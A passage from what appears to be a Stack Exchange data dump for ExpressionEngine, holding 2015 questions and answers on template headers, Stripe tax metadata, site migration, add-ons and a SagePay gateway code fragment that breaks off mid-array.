  <row Id="30292" PostTypeId="1" CreationDate="2015-02-28T18:32:01.317" Score="1" ViewCount="761" Body="&lt;p&gt;I am trying to build out an api template inside our CMS to expose a particular channel as json.  I'm going to call that channel &quot;public.&quot; Here's the template that I have put together thus far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;{exp:channel:entries channel=&quot;public&quot; dynamic=&quot;no&quot;&#xA;    limit=&quot;{segment_3}&quot;&#xA;    offset=&quot;{segment_4}&quot;&#xA;    orderby=&quot;{segment_5}&quot;&#xA;}&#xA;&#xA;    { &quot;title&quot; : &quot;{title}&quot;, &quot;source&quot; : &quot;{public_html}&quot; }{if count &amp;lt; total_results},{/if}&#xA;{/exp:channel:entries}&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are two channel fields defined &lt;code&gt;public_html&lt;/code&gt; and &lt;code&gt;public_css&lt;/code&gt; that represent the stored contents of the content item.  As is, it is delivering my data as &lt;code&gt;text/html&lt;/code&gt; and I am needing to switch it to &lt;code&gt;application/json&lt;/code&gt; to instruct the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I tried adding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php header(&quot;Content-Type: application/json&quot;); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to the top of my template (moved it around and saw no changes), but it is still delivering text/html (verified through fiddler)  In the long run, I can handle text/html in my service layer, but I would really prefer this to be done right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I add the &lt;code&gt;Content-Type: application/json&lt;/code&gt; HTTP Header to the template that I provided?&lt;/p&gt;&#xA;" OwnerUserId="3904" LastActivityDate="2016-12-05T13:29:32.297" Title="How do I add a content-type header to my template?" Tags="|ee2|templates|php|headers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30293" PostTypeId="2" ParentId="30292" CreationDate="2015-02-28T19:35:59.693" Score="2" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://devot-ee.com/add-ons/http-header&quot; rel=&quot;nofollow&quot;&gt;HTTP Header&lt;/a&gt; plugin for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:http_header content_type=&quot;application/json&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2015-02-28T19:35:59.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30294" PostTypeId="1" CreationDate="2015-02-28T21:10:13.407" Score="0" ViewCount="432" Body="&lt;p&gt;Im trying to setup Subscription using Charge.&#xA;But in test mode i havent yet found a way how I can include taxes and cardholders name to actual form and receipt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to look at addon dokumentation but only what i found was the tag for cardholders name. I did try to use text input and run one test, but again, in Stripe dashboard, name was missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About taxes i didnt find anything but that is a must to include.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be more than welcome, thank you.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2021-01-04T13:01:55.103" Title="How to add taxes and cardholder name to Charge?" Tags="|payment-gateway|charge|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30295" PostTypeId="2" ParentId="30284" CreationDate="2015-02-28T23:02:31.490" Score="1" Body="&lt;p&gt;With as few as 80 columns I wouldn't split things into 4 forms. Freeform sets everything as a TEXT type field when it builds a form table because then the content is stored separately from the row itself and it allows for more columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.0/en/column-count-limit.html&quot; rel=&quot;nofollow&quot;&gt;https://dev.mysql.com/doc/refman/5.0/en/column-count-limit.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field counts on forms have been a historically higher complaint to us than performance of TEXT type DB columns, so we made our decision for that reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;20100 Form submissions isn't a lot in the scheme of things. You will have some performance issues if you are going to be filtering a lot with Freeform:Entries on the front end. It wont be a big hit, but to get the absolute best performance in that situation, pick the fields that will be filtered on the most and if they are small (like an email address or a selection field choice, not a textarea style input) then convert those to varchar fields and put table indexes on them. &lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-02-28T23:02:31.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30297" PostTypeId="1" CreationDate="2015-03-01T13:10:14.963" Score="0" ViewCount="125" Body="&lt;p&gt;Just wondering how I can get to order products in Expresso Store by Price (High to Low and Low to High) using a drop down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got sort working by using Dynamic Parameters but can't work out how to do this with Price?&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2016-06-14T05:15:32.393" Title="Order by Price Expresso Store" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30298" PostTypeId="1" CreationDate="2015-03-01T13:53:13.003" Score="0" ViewCount="64" Body="&lt;p&gt;I realise this is a an incredibly vague question, but asking just in case someone recognises symptoms and can suggest a possible cause that I can go investigate... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[if you haven't worked out I'm new to EE...]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to migrate a site from one server to another server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've migrated the server using the instructions in EE documentation, and believe I've done those steps as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site works perfectly on the current server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the new server the site will only show the home page, regardless what URL you enter (i.e. site_URL plus any trailing text gives home page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL entered is preserved in the displayed browser URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned on template debugging, and this is what I see when I try go to any page that is not the index page - you'll see it seems to ignore the URI: (it is blank for some reason) and then loads /index... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.000013 / 4.53MB) - Begin Template Processing -&#xA;(0.000144 / 4.53MB) URI:&#xA;(0.000155 / 4.53MB) Path.php Template: /&#xA;(0.000165 / 4.53MB) Retrieving Template&#xA;(0.000175 / 4.53MB) Parsing Template URI&#xA;(0.000197 / 4.53MB) Retrieving Template from Database: /index&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone with any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple of clarifications based on questions asked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the new server is simply another instance on the same hosting platform that we use for the current site instance - the idea is to build a test server that we can use to test module updates / do development on that is in the same hosting environment as the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hosting is done by a firm called TSOHost in the UK and is the &quot;Cloud Hosting&quot; package (&lt;a href=&quot;https://www.tsohost.com/web-hosting&quot; rel=&quot;nofollow&quot;&gt;https://www.tsohost.com/web-hosting&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, is the complete .htaccess file from the current server (on which EE is working no problem, and has been copied over to the new server instance):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddType x-httpd-php53 .php&#xA;&#xA;Header set X-UA-Compatible &quot;IE=edge&quot;&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;ErrorDocument 403 http://2gc.eu/pages/sorry-that-link-cant-be-used&#xA;# Added automatically by Gridhost panel Wednesday 27th of March 2013 06:45:28 PM&#xA;Options -Indexes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6060" LastEditorUserId="6060" LastEditDate="2015-03-03T00:15:56.797" LastActivityDate="2016-06-07T14:59:44.777" Title="Migrated EE site shows correct page in URL but index page in browser window... ideas why?" Tags="|server-migration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30299" PostTypeId="2" ParentId="30298" CreationDate="2015-03-01T14:15:19.233" Score="0" Body="&lt;p&gt;Did you copy over the .htaccess file from the old server? It may have been invisible to you and thus not been copied.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-03-01T14:15:19.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30300" PostTypeId="2" ParentId="30297" CreationDate="2015-03-01T15:34:28.413" Score="0" Body="&lt;p&gt;Silly me with a little more thought I just need to orderby &quot;price&quot; and then use sort &quot;asc or desc&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Mo Variables to select the correct option from my drop down.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;{path='shop/category/{segment_3}{if current_query_string}?{current_query_string}{/if}'}&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot; /&amp;gt;&#xA;                    &amp;lt;select name=&quot;sort&quot;&amp;gt;&#xA;                      &amp;lt;option {if post:sort == &quot;desc&quot;} selected=&quot;selected&quot;{/if} name=&quot;sort&quot; value=&quot;desc&quot;&amp;gt;Descending&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option {if post:sort == &quot;asc&quot;} selected=&quot;selected&quot;{/if} name=&quot;sort&quot; value=&quot;asc&quot;&amp;gt;Ascending&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;select name=&quot;orderby&quot;&amp;gt;&#xA;                        &amp;lt;option {if post:orderby == &quot;price&quot;} selected=&quot;selected&quot;{/if} name=&quot;orderby&quot; value=&quot;price&quot;&amp;gt;Price&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option {if post:orderby == &quot;title&quot;} selected=&quot;selected&quot;{/if} name=&quot;orderby&quot; value=&quot;title&quot;&amp;gt;Name&amp;lt;/option&amp;gt;&#xA;                   &amp;lt;/select&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-2 columns&quot;&amp;gt;&#xA;        &amp;lt;input role=&quot;button&quot; aria-label=&quot;Submit&quot; name=&quot;submit&quot; type=&quot;submit&quot; class=&quot;button postfix submit&quot; value=&quot;Go&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-03-01T15:34:28.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30301" PostTypeId="1" CreationDate="2015-03-01T16:07:09.937" Score="0" ViewCount="81" Body="&lt;p&gt;I'm using DevDemon Forms module and want to map entries to MailChimp.  I inserted my API key into the Settings panel and have added a Subscribe to Mailing field type in form.  But there are no available options within mailing services to choose from -- where I would expect to see my Mailchimp account lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colin&lt;/p&gt;&#xA;" OwnerUserId="6096" LastActivityDate="2016-06-19T15:03:00.613" Title="DevDemon Forms Mailchimp" Tags="|devdemon|devdemon-forms|mailchimp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30303" PostTypeId="2" ParentId="30294" CreationDate="2015-03-01T20:26:10.653" Score="0" Body="&lt;p&gt;Stripe as a payment processor doesn't really care about shipping or tax related information because they try to make it easy to charge your customers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our current goal is to make it easy for you to accept any payment from&#xA;  your customers. We focus on providing a simple interface through which&#xA;  you can create charges.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;With that in mind, we don’t currently calculate any sales tax, VAT, tips, shipping, or other costs for your one-time charges.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Instead, we will let you specify the final amount you’d like your&#xA;  customer to be charged, so you can include the total price in the&#xA;  &lt;code&gt;amount&lt;/code&gt; field.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Having said that the best approach is to use &lt;a href=&quot;https://stripe.com/docs/api#metadata&quot; rel=&quot;nofollow&quot;&gt;Stripe Metadata&lt;/a&gt; feature to pass taxes, shipping cost and anything else that you need to Stripe. Once you pass the metadata you can then use that data in custom reports and any and all metadata is included with Stripe Exports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The docs are a little light for Charge's &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/charge/docs/meta-information&quot; rel=&quot;nofollow&quot;&gt;Meta tags&lt;/a&gt; but Joel has taken the time to create a very robust &lt;a href=&quot;https://gist.github.com/joelbradbury/69f9ece70b1a285a5cfb&quot; rel=&quot;nofollow&quot;&gt;example template&lt;/a&gt; that you can look through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template you will need to calculate the taxes and whatever else you might need with some javascript or template logic then submit that along with your order to Stripe.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-03-01T20:26:10.653" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30305" PostTypeId="1" CreationDate="2015-03-01T23:17:10.910" Score="0" ViewCount="145" Body="&lt;p&gt;When using Low Variables as one would use embeds to include a block of code, is it possible to pass a variable into that code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lv_mysnippet foo=&quot;bar&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that I can used the value of foo within the low variable?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-03-01T23:48:34.203" LastActivityDate="2015-05-01T08:30:46.133" Title="Passing a value to a low variable 'snippet'" Tags="|low-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30306" PostTypeId="2" ParentId="30305" CreationDate="2015-03-01T23:48:26.273" Score="0" Body="&lt;p&gt;I've realised that I can simply use {preload_replace} &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace myvar=&quot;foo&quot;}&#xA;&#xA;{lv_mysnippet}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This lets me use the value of myvar within {lv_mysnippet}&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-03-01T23:48:26.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30307" PostTypeId="1" CreationDate="2015-03-02T01:59:50.357" Score="0" ViewCount="73" Body="&lt;p&gt;I have the following simple EE query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;    channel=&quot;australia&quot;&#xA;    url_title=&quot;{segment_2}&quot;&#xA;    limit=&quot;1&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code works fine. I now want to harden this code for better 404 management, so I added &quot;require_entry&quot; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;    channel=&quot;australia&quot;&#xA;    url_title=&quot;{segment_2}&quot;&#xA;    limit=&quot;1&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now the query does not return any results. I'm lost as to why.&#xA;'Enable Strict URLs' is set to 'Yes'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried eliminating the other parameters, but they don't change the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="3772" LastActivityDate="2015-03-02T01:59:50.357" Title="Adding &quot;require_entry&quot; gives no results" Tags="|channel-entries|404|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30308" PostTypeId="1" AcceptedAnswerId="30312" CreationDate="2015-03-02T04:47:03.633" Score="1" ViewCount="256" Body="&lt;p&gt;Just wondering how others out there track updates for their EE sites and plugins.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I come from the WordPress world where I had tools like &lt;a href=&quot;http://infinitewp.com/&quot; rel=&quot;nofollow&quot;&gt;InifniteWP&lt;/a&gt; to see all my sites, if updates were available, etc.  I could then update as needed.  Typically pulling down to my dev server, testing the updates, and then pushing those to the live production site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However now I am taking over a front-end dev team where we have 100+ EE sites.  They've always had a set it and forget it mentality and we are starting to change that.  Are their tools where I can monitor all my EE installs (not being on multi-site)?  What are best practices for when to update plugins and how can I easily be notified when they are available?  I'd like to start a maintenance schedule and a running list of what sites are using what plugins, so we can schedule times when we plan to test and push any necessary updates.&#xA;thanks.&lt;/p&gt;&#xA;" OwnerUserId="5046" LastActivityDate="2015-03-02T08:23:52.997" Title="Updating EE versions and plugins" Tags="|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30310" PostTypeId="1" AcceptedAnswerId="30357" CreationDate="2015-03-02T05:58:10.357" Score="1" ViewCount="69" Body="&lt;p&gt;Does EE have an addon, either native or third party, that can charge members to post entries? Some entries will be a one time payment while others need to be recurring. I need the entry to expire at a certain date, or if a future payment fails, etc. Email notifications to keep members aware of payments, etc. would be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this sounds very specific, but I'm hoping something already exist than having to build something.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-03-04T12:24:49.933" Title="Channel Entries - addon to charge members per entry?" Tags="|channel-entries|add-on|add-on-development|entries|addons|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30311" PostTypeId="2" ParentId="30305" CreationDate="2015-03-02T08:10:30.233" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://gotolow.com/blog/snippets-and-preload-replace-variables&quot; rel=&quot;nofollow&quot;&gt;Using preload-replace vars&lt;/a&gt; is possible, but the vars need to have early parsing enabled for it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/types#textarea&quot; rel=&quot;nofollow&quot;&gt;the Textarea var type&lt;/a&gt;, you can also use Tag syntax (rather than the Variable syntax) and use the &lt;code&gt;preparse:my_var=&quot;value&quot;&lt;/code&gt; parameters, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;my_textarea_var&quot; preparse:myvar=&quot;foo&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-03-02T08:10:30.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30312" PostTypeId="2" ParentId="30308" CreationDate="2015-03-02T08:23:52.997" Score="3" Body="&lt;p&gt;You're after &lt;a href=&quot;https://lamplighter.io/&quot; rel=&quot;nofollow&quot;&gt;Lamplighter&lt;/a&gt; and the &lt;a href=&quot;https://devot-ee.com/add-ons/lamplighter&quot; rel=&quot;nofollow&quot;&gt;add-on that accompanies it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-03-02T08:23:52.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30313" PostTypeId="2" ParentId="30310" CreationDate="2015-03-02T12:29:49.617" Score="0" Body="&lt;p&gt;You could use a store add-on as a workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Expresso Store. You could add a custom text field to a product and use it to store the id of an channel form entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might also be possible using other add-on, such as Simple Commerce or CartThrob.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2015-03-02T12:29:49.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30314" PostTypeId="1" AcceptedAnswerId="30315" CreationDate="2015-03-02T12:32:21.950" Score="0" ViewCount="44" Body="&lt;p&gt;Has anyone found a way of making the alternative text field in the Wygwam images dialogue box mandatory.I have a large number of users and its something they always forget to do when adding images.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-03-02T12:51:21.213" Title="Wygwam Images Alternative Text mandatory field" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30315" PostTypeId="2" ParentId="30314" CreationDate="2015-03-02T12:51:21.213" Score="0" Body="&lt;p&gt;Open this file: &lt;code&gt;THEMES_FOLDER/third_party/wygwam/lib/ckeditor/plugins/image/dialogs/image.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for &lt;code&gt;id:&quot;txtAlt&quot;,&lt;/code&gt; and replace it with &lt;code&gt;id:&quot;txtAlt&quot;,validate:CKEDITOR.dialog.validate.notEmpty(&quot;ALT text required&quot;),&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should work...&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2015-03-02T12:51:21.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30316" PostTypeId="2" ParentId="30275" CreationDate="2015-03-02T13:14:32.770" Score="0" Body="&lt;p&gt;The only way I know to do anything here is to use an addon like &lt;a href=&quot;https://devot-ee.com/add-ons/mx-title-control&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/mx-title-control&lt;/a&gt; to actually change the title of the entries, so then they will display with the desired info in the relationship fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to then create a 'Page Title' field for use in displaying on the site.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-03-02T13:14:32.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30317" PostTypeId="2" ParentId="30301" CreationDate="2015-03-02T13:55:54.573" Score="0" Body="&lt;p&gt;I just did the same procedure and it will populate the list you have in Mailchimp. I had only one list and it worked fine. I'm guessing here that the API Key is linked with the name of that only list. I'm not sure what happens with two lists...&lt;/p&gt;&#xA;" OwnerUserId="102" LastActivityDate="2015-03-02T13:55:54.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30318" PostTypeId="1" AcceptedAnswerId="30319" CreationDate="2015-03-02T14:30:20.113" Score="3" ViewCount="166" Body="&lt;p&gt;I have a string of piped category ID's which represent all the categories which are selected for any given page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within my page, I now need to check the input of the chosen categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have &lt;code&gt;{segment_category_ids_piped}&lt;/code&gt; (I'm using Low Seg2Cat) - this returns &lt;code&gt;&quot;3|5|6|14&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my category loop, I now need to check the checkbox if the category exists. The code I have at the moment is :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;input type=&quot;checkbox&quot; {if segment_category_ids_piped *= cat_id}checked=&quot;checked&quot;{/if}&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;{cat_name}&quot;&amp;gt;{cat_name}&amp;lt;span&amp;gt;({entry_count})&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that it's treated as a literal string, so if I loop through my categories, it's showing cat_id 1 and 4 as being selected, because they are represented in the string for 14.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm presuming that a regular expression would be needed here, but I'm at a bit of a loss as to the syntax (RegExp has never been a strong point of mine!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2015-03-02T15:08:15.103" Title="Conditionals from within Piped String of values" Tags="|categories|conditionals|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30319" PostTypeId="2" ParentId="30318" CreationDate="2015-03-02T14:42:57.107" Score="4" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_category_ids_piped ~ '/\b'.cat_id.'\b/'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: this works for pipe-separated &lt;strong&gt;IDs&lt;/strong&gt; (numbers). If you're looking for pipe-separated strings or text, you'd be better off using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if piped_text ~ '/(^|\|)'.text.'(\||$)/'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-03-02T15:08:15.103" LastActivityDate="2015-03-02T15:08:15.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30320" PostTypeId="2" ParentId="30279" CreationDate="2015-03-02T15:16:37.557" Score="1" Body="&lt;p&gt;Well thanks to John Baxter i have the solution to all my issues with email notifications, but as I've said to John I'm both super pleased its solved but frustrated at the reason. So thought good to post..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the option of Log Email.. if this is set to either NO, or Log but don't send then it doesn't send the notifications!.. now to me this means either log or don't log, or send the log.. not send the notifications at all? but I'm posting for others, and either way I'm appreciative for John and the heads up. Hope this helps others, or maybe its just me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6AQK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1005" LastActivityDate="2015-03-02T15:16:37.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30321" PostTypeId="1" AcceptedAnswerId="30322" CreationDate="2015-03-02T15:59:03.390" Score="0" ViewCount="85" Body="&lt;p&gt;I have a few relationship rows that is causing some errors in the EE install. Turns out these relationships have either the parent id or the child id referencing a entry that no longer exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to just delete these rows in the relationship table?&lt;/p&gt;&#xA;" OwnerUserId="6100" LastEditorUserId="22" LastEditDate="2015-03-02T16:32:39.393" LastActivityDate="2015-10-29T00:56:39.783" Title="Cleaning up orphaned relationships" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30322" PostTypeId="2" ParentId="30321" CreationDate="2015-03-02T16:33:30.877" Score="0" Body="&lt;p&gt;Yes, that should be safe. Make a database backup first just in case. And for best results test on a local development copy of the site rather than in production.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-03-02T16:33:30.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30323" PostTypeId="2" ParentId="30106" CreationDate="2015-03-02T16:34:40.253" Score="1" Body="&lt;p&gt;Having spoken to the very helpful Chris @ Cartthrob during a dedicated support session, thought I'd come back to answer this - the soon to be latest edition of Cartthrob will handle Sagepay 3.00 vps - I can confirm all worked great from my point of view, as the update was conducted during the support session, and I was immediately able to both continue to process checkout, and take advantage of the new data fields via MySagePay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also point out that I had updated to the latest version of cartthrob prior to that, but did not have the updated version of extload.php in my /themes/ folder - I believe this was error my end with a git commit failing to ignore reverting this file, but it would certainly be the first point of reference I'd check for anyone else out there struggling - I may perhaps have cracked the gateway issue myself had I not inadvertently reverted that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, the vps has to be updated to 3.00 in all 3 areas on the sage gateway (I'm referring specifically to the offsite server version &lt;code&gt;Cartthrob_sage_s.php&lt;/code&gt;) and the new mandatory fields (bankauth et al) added to the last set of fields within the gateway.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $tmp = array(&#xA;            'VPSTxId'           =&amp;gt;  urldecode($post['VPSTxId']),&#xA;            'VendorTxCode'      =&amp;gt;  urldecode($post['VendorTxCode']),&#xA;            'Status'            =&amp;gt;  urldecode($post['Status']),&#xA;            'TxAuthNo'          =&amp;gt;  urldecode($post['TxAuthNo']),&#xA;            'VendorName'        =&amp;gt;  strtolower($this-&amp;gt;plugin_settings('vendor_name')),&#xA;            'AVSCV2'            =&amp;gt;  urldecode($post['AVSCV2']),&#xA;            'SecurityKey'       =&amp;gt;  $this-&amp;gt;order('sage_key'),&#xA;            'AddressResult'     =&amp;gt;  urldecode($post['AddressResult']),&#xA;            'PostCodeResult'    =&amp;gt;  urldecode($post['PostCodeResult']),&#xA;            'CV2Result'         =&amp;gt;  urldecode($post['CV2Result']),&#xA;            'GiftAid'           =&amp;gt;  urldecode($post['GiftAid']),&#xA;            '3DSecureStatus'    